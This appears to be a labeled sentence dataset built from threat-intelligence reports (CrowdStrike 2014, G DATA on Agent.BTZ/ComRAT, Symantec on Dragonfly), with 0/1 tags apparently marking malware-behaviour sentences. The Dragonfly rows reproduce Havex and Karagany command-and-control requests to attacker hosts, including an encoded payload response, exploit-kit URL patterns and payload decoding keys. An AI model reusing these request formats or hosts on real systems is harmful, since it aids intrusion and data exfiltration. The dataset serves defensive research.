GlobalThreatIntelReport-646	The attacks came in two waves , the first of which was in early December when the Xbox Live and PlayStation networks were knocked offline for a short period of time .	0
GlobalThreatIntelReport-647	The second wave of attacks occurred on 25 December 2014 when the Xbox and PlayStation online platforms suffered more outages that LizardSquad claimed responsibility for .	0
GlobalThreatIntelReport-648	CrowdStrike Intelligence is also aware of DDOS threats against other gaming platforms including Valve Software , which appeared to be targeted by a DNS amplification DDOS attack that is similar to previous LizardSquad activity .	0
GlobalThreatIntelReport-649	Malicious actors have already engaged in disruptive campaigns in early 2015 .	0
GlobalThreatIntelReport-650	Following the January terrorist attacks in France , a group of Islamist hackers known as Fallaga conducted DDOS attacks against servers hosting websites for French foreign embassies .	0
GlobalThreatIntelReport-651	Soon after , another Islamist group identifying with ISIS took control of the Twitter and YouTube accounts for U.S.	0
GlobalThreatIntelReport-652	Central Command and posted a number of messages threatening U.S.	0
GlobalThreatIntelReport-653	troops and their families .	0
GlobalThreatIntelReport-654	Organizations in all sectors should be aware of , and prepared for , destructive and disruptive attacks .	0
GlobalThreatIntelReport-655	These operations are often motivated by a specific grievance , but sometimes no clear motivation can be established .	0
GlobalThreatIntelReport-656	Continuous monitoring for publicized threats against an organization , or for potential areas of controversy that could motivate malicious activity , is vital to detect and prepare for these types of attacks .	0
GlobalThreatIntelReport-657	The question now is : How do you incorporate intelligence into your daily defenses and prioritize resources based on risk to your business ? Conclusion In the course of reviewing 2014 , there were so many interesting events , adversaries , and innovations that selecting examples for this report was an incredible challenge .	0
GlobalThreatIntelReport-658	The CrowdStrike Intelligence team spent much time narrowing the scope of topics covered herein .	0
GlobalThreatIntelReport-659	The adversaries in 2014 proved , if nothing else , to be dynamic , persistent , and innovative .	0
GlobalThreatIntelReport-660	Defenders must be inventive , diligent , and decisive in their efforts to defend the enterprise from these attackers .	0
GlobalThreatIntelReport-661	2015 will be a continuation of the cat - and - mouse game that is played between the adversary and the defender .	0
GlobalThreatIntelReport-662	Adversaries across the motivational spectrum will continue to evolve their tactics in order to achieve their objectives .	0
GlobalThreatIntelReport-663	Although tactics may evolve , network defenders will be able to have success against the adversary so long as they are well prepared .	0
GlobalThreatIntelReport-664	Intelligence will provide the decisive advantage to both sides , and having a good defense will be predicated on having an informed , intelligent defensive team .	0
GlobalThreatIntelReport-665	The incorporation of intelligence into the daily defense of the enterprise will continue to be paramount and products , services , and solution providers will need to use this intelligence to stay ahead of the adversary .	0
GlobalThreatIntelReport-666	At CrowdStrike , intelligence powers everything we do , and as 2015 unfolds , organizations using intelligence will be better prepared to detect , deter , and defend against their adversaries .	0
GlobalThreatIntelReport-667	Crowdstrike Falcon Intelligence CrowdStrike Falcon Intelligence portal provides enterprises with strategic , customized , and actionable intelligence .	0
GlobalThreatIntelReport-668	Falcon Intelligence enables organizations to prioritize resources by determining targeted versus commodity attacks , saving time and focusing resources on critical threats .	0
GlobalThreatIntelReport-669	With unprecedented insight into adversary Tactics , Techniques , and Procedures ( TTPs ) and multi - source information channels , analysts can identify pending attacks and automatically feed threat intelligence via API to SIEM and third - party security tools .	0
GlobalThreatIntelReport-670	Access to CrowdStrike Falcon Intelligence is geared toward all levels of an organization , from the executive who needs to understand the business threat and strategic business impact , to the front- line security professional struggling to fight through an adversary 's attack against the enterprise .	0
GlobalThreatIntelReport-671	CrowdStrike Falcon Intelligence is a web - based intelligence subscription that includes full access to a variety of feature sets , including .	0
GlobalThreatIntelReport-672	Let us show you how CrowdStrike can help you understand your adversary and better protect your network in 2015 ! Contact sales@crowdstrike.com to discuss your specific needs .	0
GlobalThreatIntelReport-673	888 - 512 - 8906 www.crowdstrike.com two thousand fourteen CrowdStrike Global Threat Intel Report About CrowdStrike CrowdStrike™ is a leading provider of next- generation endpoint protection , threat intelligence , and services .	0
GlobalThreatIntelReport-674	CrowdStrike Falcon enables customers to prevent damage from targeted attacks , detect and attribute advanced malware and adversary activity in real time , and effortlessly search all endpoints , reducing overall incident response time .	0
GlobalThreatIntelReport-675	CrowdStrike customers include some of the largest blue chip companies in the financial services , energy , oil & gas , telecommunications , retail , and technology sectors , along with some of the largest and most sophisticated government agencies worldwide .	0
GlobalThreatIntelReport-676	To learn more , please visit www.crowdstrike.com	0
Agent.BTZ_to_ComRAT-1	In November 2014 , the experts of the G DATA SecurityLabs published an article about ComRAT , the Agent . BTZ successor .	0
Agent.BTZ_to_ComRAT-2	We explained that this case is linked to the Uroburos rootkit .	0
Agent.BTZ_to_ComRAT-3	We assume that the actor behind these campaigns uses several different malware strains is order to compromise the targeted infrastructure : Uroburos , a rootkit ; Agent . BTZ / ComRAT , remote administration tools or Linux malware and maybe even more .	0
Agent.BTZ_to_ComRAT-4	We decided to have an even closer look at Agent . BTZ and ComRAT and therefore analyzed the evolution of this RAT , covering seven years of development .	0
Agent.BTZ_to_ComRAT-5	Here is a table with the minimal information about 46 different samples .	0
Agent.BTZ_to_ComRAT-6	Thanks to the versioning , we can deduce that the compilation dates we saw and currently see actually seem to be legit – except for the last known version , in which the author modified the compilation date in order to make the analysis more complex .	0
Agent.BTZ_to_ComRAT-7	We can see that this malware was really active in 2007 and 2008 .	0
Agent.BTZ_to_ComRAT-8	New versions declined in frequency in 2009 and only one new sample was identified in 2010 .	0
Agent.BTZ_to_ComRAT-9	We did not encounter any new sample from 2011 , but the malware appeared back in 2012 , with a new major version .	0
Agent.BTZ_to_ComRAT-10	To describe the evolution of the development , we decided to compare ten major versions .	0
Agent.BTZ_to_ComRAT-11	The following chapter will present the main differences between the versions mentioned above .	0
Agent.BTZ_to_ComRAT-12	Here is the resemblance ratio for each version , comparing direct neighbor versions only , created using BinDiff .	0
Agent.BTZ_to_ComRAT-13	The biggest code update has occurred between version 2.14.1 and version 3.00 .	0
Agent.BTZ_to_ComRAT-14	The gap matches the absence of samples during two years and this fundamental modification is what we call the death of Agent . BTZ and the birth of ComRAT .	0
Agent.BTZ_to_ComRAT-15	Differences between version Ch 1.0 ( 2007 - 06 ) to Ch 1.5 ( 2008 - 03 ) The analyzed samples are .	0
Agent.BTZ_to_ComRAT-16	We did not identify strong modification between the two samples .	0
Agent.BTZ_to_ComRAT-17	However , we can notice the following .	0
Agent.BTZ_to_ComRAT-18	Differences between version Ch 1.5 ( 2008 - 03 ) and Ch 2.03 ( 2008 - 05 ) The analyzed samples are .	0
Agent.BTZ_to_ComRAT-19	In version 2.03 of Agent . BTZ , the authors changed the following .	0
Agent.BTZ_to_ComRAT-20	"They added obfuscation in order to hide sensitive strings ; The communication protocol was modified in order to include the flag "" < CHCMD > "" we assume that "" CH "" has the same meaning than "" Ch "" before the version number and "" CMD "" is the abbreviation for command ; From now on , the malware supports "" runas "" in order to execute commands as administrator ."	1
Agent.BTZ_to_ComRAT-21	This command was implemented by Microsoft in Windows Vista in 2007 .	0
Agent.BTZ_to_ComRAT-22	We assume that the author implemented this feature because several targets switched to this version of Windows in 2008 .	0
Agent.BTZ_to_ComRAT-23	According to an article , version 1.5 was used against the US Pentagon .	0
Agent.BTZ_to_ComRAT-24	We assume that the string obfuscation was performed in order to bypass security measures being capable of detecting an intrusion .	0
Agent.BTZ_to_ComRAT-25	Differences between version Ch 2.03 ( 2008 - 05 ) and Ch 2.11 ( 2009 - 09 ) The analyzed samples are .	0
Agent.BTZ_to_ComRAT-26	The codes of these two versions are extremely similar to each other , we can only notice small changes .	0
Agent.BTZ_to_ComRAT-27	Differences between version Ch 2.11 ( 2009 - 09 ) and Ch 2.14.1 ( 2010 - 02 ) The analyzed samples are .	0
Agent.BTZ_to_ComRAT-28	These codes are really similar to each other , too .	0
Agent.BTZ_to_ComRAT-29	We can notice only two changes .	0
Agent.BTZ_to_ComRAT-30	The four exported libraries show that the malware has started to support the OLE Component Object Model ( COM ) .	0
Agent.BTZ_to_ComRAT-31	This version is the first version able to be registered as a COM object .	0
Agent.BTZ_to_ComRAT-32	Three of the four functions are empty .	0
Agent.BTZ_to_ComRAT-33	The fourth one executes the malware .	0
Agent.BTZ_to_ComRAT-34	Differences between version 2.14.1 ( 2010 - 02 ) and Ch 3.00 ( 2012 - 01 ) The analyzed samples are .	0
Agent.BTZ_to_ComRAT-35	These codes really differ from each other , even if some parts of version 2.14.1 were retained .	0
Agent.BTZ_to_ComRAT-36	Moreover , the developers changed the compiler ; they switched from Visual Studio 6.0 to Visual Studio 9.0/10.0 , which is a strong indicator for the huge differences . Version 3.00 is what the G DATA SecurityLabs experts call ComRAT .	0
Agent.BTZ_to_ComRAT-37	We can say that version 2.14.1 is the last version of Agent . BTZ .	0
Agent.BTZ_to_ComRAT-38	Here are the main differences between Agent . BTZ and ComRAT .	0
Agent.BTZ_to_ComRAT-39	On several 3.00 samples , the author forgot to remove the compilation path , here are some examples .	0
Agent.BTZ_to_ComRAT-40	"Thanks to these compilation paths , we assume that the original name of the RAT is "" Chinch "" , which leads us to the assumption that the "" CH "" characters in the version name and in the flag "" < CHCMD > "" stands for "" Chinch "" ."	0
Agent.BTZ_to_ComRAT-41	In English , chinch is the word for a small North American bug , Blissus leucopterus .	0
Agent.BTZ_to_ComRAT-42	This word is derived from the Spanish word chinche , meaning pest .	0
Agent.BTZ_to_ComRAT-43	Differences between version 3.00 ( 2012 - 01 ) and Ch 3.10 ( 2012 - 12 ) The analyzed samples are .	0
Agent.BTZ_to_ComRAT-44	The codes are similar to each other , but the authors added several features .	0
Agent.BTZ_to_ComRAT-45	The last new feature is really interesting : if the compromised targets block a specific command and control server , the malware will continue to work , thanks to two alternative command and control servers .	0
Agent.BTZ_to_ComRAT-46	Differences between version 3.10 ( 2012 - 12 ) and Ch 3.20 ( 2013 - 06 ) The analyzed samples are .	0
Agent.BTZ_to_ComRAT-47	The major new feature in the version is the new exports function called InstallW ( ) .	0
Agent.BTZ_to_ComRAT-48	This exported function is used by the dropper to add persistence in the registry and to drop a second file ( as explained in our previous article ) .	1
Agent.BTZ_to_ComRAT-49	Version 3.20 uses the following CLSID in order to hijack COM object : B196B286-BAB4- 101A - B69C-00AA00341D07 .	0
Agent.BTZ_to_ComRAT-50	This object is the IConnectionPoint interface .	0
Agent.BTZ_to_ComRAT-51	The CLSID was only used in this version .	0
Agent.BTZ_to_ComRAT-52	We assume that the performed COM object hijacking generates some trouble on the infected system , that 's why the author changed related things in the next version .	0
Agent.BTZ_to_ComRAT-53	Furthermore , the CLSID was stored in plain text within the sample .	0
Agent.BTZ_to_ComRAT-54	Differences between version Ch 3.20 ( 2013 - 06 ) and Ch 3.25 ( 2014 - 02 ) The analyzed samples are .	0
Agent.BTZ_to_ComRAT-55	In the 3.25 version , the author switched to the CLSID : 42aedc87 - 2188 - 41fd - b9a3 - 0c966feabec1 as described in our article .	0
Agent.BTZ_to_ComRAT-56	Furthermore , the strings in the sample are obfuscated .	0
Agent.BTZ_to_ComRAT-57	The main new feature is the obfuscation – almost all strings are obfuscated and the XML pattern is not written in plain text anymore .	0
Agent.BTZ_to_ComRAT-58	Differences between version Ch 3.25 ( 2014 - 02 ) and Ch 3.26 ( 2013 - 01 ; date has been modified ) The analyzed samples are .	0
Agent.BTZ_to_ComRAT-59	The version 3.26 is the latest known version .	0
Agent.BTZ_to_ComRAT-60	In this version .	0
Agent.BTZ_to_ComRAT-61	This analysis shows us seven years of the evolution of a Remote Administration Tool , used by a group which targeted extremely sensitive entities , such as the US Pentagon in 2008 or the Belgium Ministry of Foreign Affairs in 2014 as well as the Finnish Ministry of Foreign Affairs .	0
Agent.BTZ_to_ComRAT-62	Except for version 3.00 , the modifications made are rather marginal .	0
Agent.BTZ_to_ComRAT-63	We can see that the authors adapted features to the Windows versions , patched bugs , added obfuscation etc … The biggest update was performed to version 3.00 , after two years of silence .	0
Agent.BTZ_to_ComRAT-64	Visibly , this RAT was used alongside the Uroburos rootkit .	0
Agent.BTZ_to_ComRAT-65	Nevertheless , it is not entirely clear how and when the attackers choose to use the RAT or the rootkit or whether both are used in parallel .	0
Agent.BTZ_to_ComRAT-66	Taking everything into consideration , G DATA SecurityLabs experts are sure that the group behind Uroburos / Agent . BTZ / ComRAT / Linux tool/ … will remain an active player in the malware and APT field .	0
Agent.BTZ_to_ComRAT-67	The newest revelations made and connections drawn let us believe that there is even more to come .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-1	A cyberespionage campaign against a range of targets , mainly in the energy sector , gave attackers the ability to mount sabotage operations against their victims .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-2	The attackers , known to Symantec as Dragonfly , managed to compromise a number of strategically important organizations for spying purposes and , if they had used the sabotage capabilities open to them , could have caused damage or disruption to the energy supply in the affected countries .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-3	The Dragonfly group , which is also known by other vendors as Energetic Bear , are a capable group who are evolving over time and targeting primarily the energy sector and related industries .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-4	They have been in operation since at least 2011 but may have been active even longer than that .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-5	Dragonfly initially targeted defense and aviation companies in the US and Canada before shifting its focus to US and European energy firms in early 2013 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-6	More recent targets have included companies related to industrial control systems .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-7	Dragonfly has used spam email campaigns and watering hole attacks to infect targeted organizations .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-8	The group has used two main malware tools : Trojan . Karagany and Backdoor . Oldrea .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-9	The latter appears to be a custom piece of malware , either written by or for the attackers .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-10	Symantec observed spear phishing attempts in the form of emails with PDF attachments from February 2013 to June 2013 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-11	The email topics were related to office administration issues such as dealing with an account or problems with a delivery .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-12	Identified targets of this campaign were mainly US and UK organizations within the energy sector .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-13	In May 2013 , the attackers began to use the Lightsout exploit kit as an attack vector , redirecting targets from various websites .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-14	The use of the Lightsout exploit kit has continued to date , albeit intermittently .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-15	The exploit kit has been upgraded over time with obfuscation techniques .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-16	The updated version of Lightsout became known as the Hello exploit kit .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-17	A newer approach used by the attackers involves compromising the update site for several industrial control system ( ICS ) software producers .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-18	They then bundle Backdoor . Oldrea with a legitimate update of the affected software .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-19	To date , three ICS software producers are known to have been compromised .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-20	The Dragonfly attackers used hacked websites to host command - and - control ( C&C ) software .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-21	Compromised websites appear to consistently use some form of content management system .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-22	The current targets of the Dragonfly group , based on compromised websites and hijacked software updates , are the energy sector and industrial control systems , particularly those based in Europe .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-23	While the majority of victims are located in the US , these appear to mostly be collateral damage .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-24	That is , many of these computers were likely infected either through watering hole attacks or update hijacks and are of no interest to the attacker .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-25	By examining victims with active infections – where additional malicious activity has been detected – it is possible to gather a more accurate picture of ' true ' victims .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-26	The most active infections , as in Figure 2 , are in Spain , followed in order by the US , France , Italy , and Germany .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-27	Dragonfly uses two main pieces of malware in its attacks .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-28	Both are Remote Access Tool ( RAT ) type malware which provide the attackers with access and control of compromised computers .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-29	Dragonfly 's favored malware tool is Backdoor . Oldrea , which is also known as Havex or the Energetic Bear RAT .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-30	Oldrea acts as a back door for the attackers on to the victim 's computer , allowing them to extract data and install further malware .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-31	Oldrea appears to be custom malware , either written by the group itself or created for it .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-32	This provides some indication of the capabilities and resources behind the Dragonfly group .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-33	The second main tool used by Dragonfly is Trojan . Karagany .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-34	Unlike Oldrea , Karagany was available on the underground market .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-35	The source code for version 1 of Karagany was leaked in 2010 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-36	Symantec believes that Dragonfly may have taken this source code and modified for its own use .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-37	Symantec found that the majority of computers compromised by the attackers were infected with Oldrea .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-38	Karagany was only used in around 5 percent of infections .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-39	The two pieces of malware are similar in functionality and what prompts the attackers to choose one tool over another remains unknown .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-40	The Dragonfly group has used at least three infection tactics against targets in the energy sector .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-41	The earliest method was an email spear phishing campaign , which saw selected executives and senior employees in target companies receive emails containing a malicious PDF attachment .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-42	"Infected emails had one of two subject lines : "" The account "" or "" Settlement of delivery problem "" ."	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-43	All of the emails were from a single Gmail address .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-44	Figure 3 displays the number of different recipients per day .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-45	The spam campaign began in February 2013 and continued into June 2013 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-46	Symantec identified seven different organizations targeted in this campaign .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-47	At least one organization was attacked intermittently for a period of 84 days .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-48	In June 2013 , the attackers shifted their focus to watering hole attacks .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-49	They compromised a number of energy- related websites and injected an iframe into each of them .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-50	This iframe then redirected visitors to another compromised legitimate website hosting the Lightsout exploit kit .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-51	This in turn exploited either Java or Internet Explorer in order to drop Oldrea or Karagany on the victim 's computer .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-52	The fact that the attackers compromised multiple legitimate websites for each stage of the operation is further evidence that the group has strong technical capabilities .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-53	In September 2013 , Dragonfly began using a new version of this exploit kit , known as the Hello exploit kit .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-54	The landing page for this kit contains JavaScript which fingerprints the system , identifying installed browser plugins .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-55	The victim is then redirected to a URL which in turn determines the best exploit to use based on the information collected .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-56	Figure 4 shows the compromised websites categorized into their respective industries .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-57	Fifty percent of identified targets were energy industry related and thirty percent were energy control systems , as shown in Figure 4 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-58	A clear shift in the attackers targeting can be seen in March 2014 when energy control systems become the primary target .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-59	The most ambitious attack vector used by Dragonfly was the compromise of a number of legitimate software packages .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-60	Three different ICS equipment providers were targeted and malware was inserted into the software bundles they had made available for download on their websites .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-61	Analysis of the compilation timestamps on the malware used by the attackers indicate that the group mostly worked between Monday and Friday , with activity mainly concentrated in a nine - hour period that corresponded to a 9 am to 6 pm working day in the UTC + 4 time zone .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-62	The Dragonfly group is technically adept and able to think strategically .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-63	"Given the size of some of its targets , the group found a "" soft underbelly "" by compromising their suppliers , which are invariably smaller , less protected companies ."	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-64	Identification of this group is based on the use of two malware families and an exploit kit .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-65	The malware families utilized are Backdoor . Oldrea and Trojan . Karagany .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-66	The exploit kit is known as Lightsout and/or Hello .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-67	Hello is an updated iteration of Lightsout that the Dragonfly group began to use in September 2013 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-68	Use of Backdoor . Oldrea appears to be limited to the Dragonfly group .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-69	In addition , specific instances of Trojan .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-70	Karagany have been used by this group .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-71	Karagany is a Russian RAT sold on underground forums .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-72	Instances of this malware related to the Dragonfly group are identified based on them being delivered through the Lightsout exploit kit and also a particular packer that this group used .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-73	Symantec detects the Trojan . Karagany packer used by this group as Trojan . Karagany!gen1 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-74	The Lightsout exploit kit is a simple exploit kit that is consistently used to deliver primarily Backdoor . Oldrea and , in several instances , Trojan . Karagany .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-75	A number of sites that use content management systems were exploited and an iframe was used in order to redirect visitors to sites hosting the Lightsout exploit kit .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-76	An example of an injected iframe can be seen in figure 7 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-77	The exploit kit uses browser ( e.g.	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-78	Internet Explorer and Firefox ) and Java exploits in order to deliver either Backdoor . Oldrea or Trojan . Karagany .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-79	An example of the structure of the Lightsout exploit kit can be seen Table 1 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-80	Note that file names and exploits used may vary .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-81	In September 2013 , the Dragonfly group began using a new version of Lightsout , also known as the Hello exploit kit .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-82	The JavaScript included in the landing page redirects the browser to a URL that depends on the fonts installed on the system , browser add - ons , the OS version , and the user agent .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-83	At this point , it determines the best exploit to use , based on the information provided , and generates an appropriate URL to redirect the user to the appropriate exploit / payload .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-84	The following shows an example of such a request : [ http://]compromised.example / wp - includes / pomo/ dtsrc.php?a=[EK _ DETERMINED _ PARAMETER ] [ EK_DETERMINED_PARAMETER ] may be anything listed in Table 2 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-85	The parameters dwe and dwd relate to which payload is requested for download , for example : The values of the [ EK_DETERMINED_PARAMETER ] variable may relate to the two different file types represented by Backdoor . Oldrea and Trojan .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-86	Karagany!gen1 payloads .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-87	"Oldrea payloads are DLL files ( URLs end in "" d "" for DLL ? ) while Karagany!gen1 payloads are portable executables ( URLs end in "" e "" for EXE ? ) ."	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-88	At the core of Backdoor . Oldrea is a persistent component that interacts with C&C servers to download and execute payloads .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-89	The components are downloaded by reaching out to the C&C server and performing a GET request which returns an HTML page containing a base64 encoded string between two comments marked with the ' havex ' string .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-90	In this specific example , the ' 038 ' in the file name indicates the major version number .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-91	Post infection , Backdoor . Oldrea will attempt to collect system information such as OS , user name , computer name , country , language , nation , Internet adapter configuration information , available drives , default browser , running processes , desktop file list , My Documents , Internet history , program files , and root of available drives .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-92	It also collects data from Outlook ( address book ) and ICS related software configuration files .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-93	This data is collected and written to a temporary file in an encrypted form before it is POST'ed to a remote C&C server .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-94	The following are examples of a POST request and a POST response .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-95	POST request example : POST /wp08/wp - includes / dtcla.php?id=285745296322896178920098FD80 - 20&v1=038&v2=17 0393861&q=5265882854508EFCF958F979E4 HTTP/1.1 User - Agent : Mozilla/5.0 ( Windows ; U ; Windows NT 6.1 ; en - US ) AppleWebKit/525.19 ( KHTML , like Gecko ) Chrome/1.0.154.36 Safari/525.19 Host : toons.freesexycomics.com Content - Length : 0 Cache - Control : no - cache POST response example : HTTP/1.1 200 OK Date : We d , 22 Jan 2014 13:40:48 GMT Content - Type : text / html Transfer - Encoding : chunked Connection : keep - alive Server : Apache/1.3.37 ( Unix ) Cache - Control : no - cache 9f65 < html><head><mega http - equiv='CACHE - CONTROL ' content='NO - CACHE'></ head><body > No data!<!--havexQlpoOTFBWSZTWWYvDI0BOsD//////////////////////////////////// /////////4oB+93VVXu69DuN7XYzds9yt49Ques [ ... TRUNCATED FOR READABILITY ] + yUW3zfTxWAOstsCwCckdW5 AH5Q6vbbCu7GputPt5CSfgPCAKXcAOOICMsqliACGYEhAQT3v9eD M92D/8XckU4UJBmLwyNA==havex--></body></head > Various samples process the C&C responses differently .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-96	In one example , the sample searches for the data enclosed by the tag ' havex ' .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-97	Once the data is found , it is decoded using standard base64 + bzip2 and also a xor layer with bytes from the string 1312312 .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-98	The decoded data contains a small header followed by an executable MZ - file .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-99	Another sample was found to use standard base64 + reverse xor + RSA-2048 for decrypting received data .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-100	The decrypted data consists of a 6 byte command concatenated with an MZ file .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-101	The MZ file is compressed with the lzma algorithm .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-102	RSA keys for decryption , together with other initial configuration information , are stored in the registry in base64 form .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-103	This section includes information about identified payloads downloaded by Backdoor . Oldrea .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-104	The following is a brief description of the functionality for each identified component .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-105	Trojan . Karagany is a back door used primarily for recon .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-106	It is designed to download and install additional files and exfiltrate data .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-107	Samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer / protector for the payload .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-108	Where present in samples , the Delphi packer is configured to use ' neosphere ' as a key to decrypt the payload .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-109	The following is a brief overview of the functionality of Trojan . Karagany .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-110	Trojan . Karagany creates a folder in the user APPDATA directory and chooses the directory name from the following list .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-111	It copies itself in the created directory with hidden and system attributes using a file name chosen from the following list .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-112	Trojan . Karagany copies itself with hidden and system attributes where it was first executed as err.log[DIGITS ] .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-113	It then copies the legitimate chkdsk utility in the installation folder using the payload file name but with a space before the file extension .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-114	This may fool ordinary users into thinking that this folder contains a legitimate application , for example PnPutil .exe .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-115	Trojan . Karagany!gen1 may create the following additional files in the installation folder .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-116	It then creates a C:\ProgramData\Mail\MailAg\gl directory as a temporary directory used for uploading files .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-117	Trojan . Karagany then creates a link to itself in the Startup folder as an autostart when the system restarts .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-118	Trojan . Karagany first checks for a live Internet connection by visiting Microsoft or Adobe websites .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-119	It will only reach out to its C&C server once this check is successful .	1
Dragonfly_Threat_Against_Western_Energy_Suppliers-120	Example HTTP Requests Internet connection test to Microsoft GET /en - us / default.aspx HTTP/1.1 Accept - Encoding : gzip , deflate Content - Type : application / x - www - form - urlencoded Host : microsoft.com Cookie : MC1=V=3&GUID=<32 character guid > Connection : Keep - Alive Cache - control : no - cache Internet connection test to Adobe using identifiant parameter POST /geo / productid.php HTTP/1.1 Content - Type : application / x - www - form - urlencoded Host : adobe.com ...	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-121	identifiant=51032 _ 175129256364 Example POST request for C&C server check - in POST /check _ value.php HTTP/1.1 User - Agent : Mozilla/4.0 ( compatible ; MSIE 7.0 ; Windows NT 6.1 ; .NET CLR 2.0.50727 ) Host : 93.188.161.235 ...	0
